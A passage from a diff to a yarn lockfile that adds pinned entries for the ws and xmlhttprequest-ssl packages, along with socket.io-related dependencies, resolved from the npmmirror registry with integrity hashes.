+    "@socket.io/component-emitter" "~3.1.0"
+    debug "~4.3.1"
+
 source-map-js@^1.0.2:
   version "1.0.2"
   resolved "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.0.2.tgz#adbc361d9c62df380125e7f161f71c826f1e490c"
@@ -1384,6 +1440,16 @@ wrap-ansi@^8.1.0:
     string-width "^5.0.1"
     strip-ansi "^7.0.1"
 
+ws@~8.11.0:
+  version "8.11.0"
+  resolved "https://registry.npmmirror.com/ws/-/ws-8.11.0.tgz#6a0d36b8edfd9f96d8b25683db2f8d7de6e8e143"
+  integrity sha512-HPG3wQd9sNQoT9xHyNCXoDUa+Xw/VevmY9FoHyQ+g+rrMn4j6FB4np7Z0OhdTgjx6MgQLK7jwSy1YecU1+4Asg==
+
+xmlhttprequest-ssl@~2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmmirror.com/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.0.0.tgz#91360c86b914e67f44dce769180027c0da618c67"
+  integrity sha512-QKxVRxiRACQcVuQEYFsI1hhkrMlrXHPegbbd1yn9UHOmRxY+si12nQYzri3vbzt8VdTTRviqcKxcyllFas5z2A==
+
 yaml@^2.3.4:
   version "2.4.0"
   resolved "https://registry.npmmirror.com/yaml/-/yaml-2.4.0.tgz#2376db1083d157f4b3a452995803dbcf43b08140"